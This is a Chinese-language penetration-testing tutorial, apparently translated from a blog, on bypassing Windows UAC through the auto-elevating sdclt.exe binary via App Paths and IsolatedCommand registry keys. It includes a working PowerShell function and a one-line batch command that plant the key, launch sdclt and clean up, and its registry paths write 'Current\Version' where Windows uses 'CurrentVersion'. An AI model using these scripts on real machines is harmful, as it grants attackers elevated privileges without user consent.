导语:SDCLT是Windows系统(Windows 7及更高版本)中使用的Microsoft二进制文件,允许用户执行备份和恢复操作。 但是它只是 Windows 将autoElevate设置为“true”的所有Microsoft二进制文件中的一个。 这一点可以通过使用sysinternals中的Sigchec

SDCLT是Windows系统(Windows 7及更高版本)中使用的Microsoft二进制文件,允许用户执行备份和恢复操作。 但是它只是 Windows 将autoElevate设置为“true”的所有Microsoft二进制文件中的一个。 这一点可以通过使用sysinternals中的Sigcheck工具并浏览其清单文件进行验证:

sdclt-autoelevate-set-to-true.png

sdclt 的 autoelevate被设置为true

Matt Nelson发现了两种可以允许用户在Windows 10环境中绕过UAC的方法。 这两种方法都需要构建一个特定的注册表结构,但它们彼此并不相同,因为其中一个方法可以采用命令参数,而另一个方法将执行二进制文件的完整路径。

应用路径

备份和还原操作是控制面板的一部分。 这意味着当sdclt.exe进程启动时,控制面板也会启动。 该二进制文件被设计为以高完整性的进程运行:

sdclt-control-panel-starts-as-high-integrity-process.png

sdclt – 高完整性进程

另外sdclt在启动时会在注册表中查找以下位置。

HKCU\Software\Microsoft\Windows\Current\Version\App Paths\control.exe

然而这个路径并不存在,因此,一个攻击者可以创建这个注册项路径就可以执行指定的 payload,而且是以一个高完整性的进程启动,从而绕过了UAC。

sdclt-registry-location-doesnt-exist.png

sdclt – 注册项路径并不存在

app-paths-uac-bypass-registry.png

应用程序路径 – 绕过UAC的注册项

下一次启动 sdclt.exe,则会运行并打开已经提升过权限的cmd:

sdclt-elevated-command-prompt.png

sdclt – 已经提升过权限的cmd

无文件的实现

还有另一种方法可以通过sdclt来绕过UAC,可以使用命令参数而不是二进制程序的完整路径。 具体来说是这样的,当使用“kickoffelev”执行sdclt时,将会在注册表中执行检查,目的是找到以下路径:

HKCU\Software\Classes\exefile\shell\runas\command\IsolatedCommand

默认情况下,此路径并不存在,因此可以手动构造这个路径,然后就可以执行cmd了:

fileless-uac-isolated-command-registry.png

Sdclt 无文件绕过UAC – Isolated Command 注册表项

当sdclt再次使用/kickoffelev参数执行时,它会发现IsolatedCommand注册表项是存在的,然后它就会执行权限提升,然后打开cmd。

sdclt-fileless-elevated-command-prompt.png

sdclt 无文件的实现– 已经绕过UAC的cmd

PowerShell的实现

可以使用以下PowerShell脚本来自动执行此绕过过程,该脚本是为pentestlab的博客而编写的,它实际上是Matt Nelson 编写的AppPathBypass脚本的简化版本。

具体的代码如下,或者你也可以在GithubGist 仓库中找到:

function SdcltUACBypass(){
Param (
  [String]$program = "C:\Windows\System32\cmd.exe" #default
      )
#Create Registry Structure
New-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Force
Set-ItemProperty -Path "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Name "(default)" -Value $program -Force
#Start sdclt.exe
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Recurse -Force
}

sdclt-uac-bypass-powershell-script.png

利用sdclt绕过 UAC的PowerShell脚本

Matt Nelson 为这两种绕过方式都开发了对应的 PowerShell 脚本 ,用于演示绕过UAC。

app-paths-uac-bypass-via-powershell.png

应用程序路径 –通过PowerShell实现的UAC绕过

fileless-uac-bypass-sdclt-powershell.png

无文件绕过 UAC – sdclt – PoweShell

命令提示符和记事本程序将以与sdclt相同的权限级别启动运行,这意味着它们的进程将以完全级别设置为“高”的进程运行,最终就绕过了用户帐户控制(UAC)。

sdclt-cmd-and-notepad-as-high-integrity-processes.png

sdclt – cmd 和 notepad 程序会作为一个高完整性的进程运行

UACME

现在要说的这种绕过方式是 UACME 项目的第31个绕过方式:

sdclt-uac-bypass-via-uacme.png

sdclt –利用 UACME 绕过UAC

批处理文件

也可以通过.bat 文件执行此绕过方式:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /f

参考资源

https://gist.githubusercontent.com/netbiosX/54a305a05b979e13d5cdffeba5436bcc/raw/3548580f4e6c7dd0b0e5221078bcd2fad4949501/Sdclt.ps1

https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx

https://github.com/enigma0x3/Misc-PowerShell-Stuff

https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1

https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-SDCLTBypass.ps1

https://github.com/r00t-3xp10it/msf-auxiliarys

源链接

Hacking more

...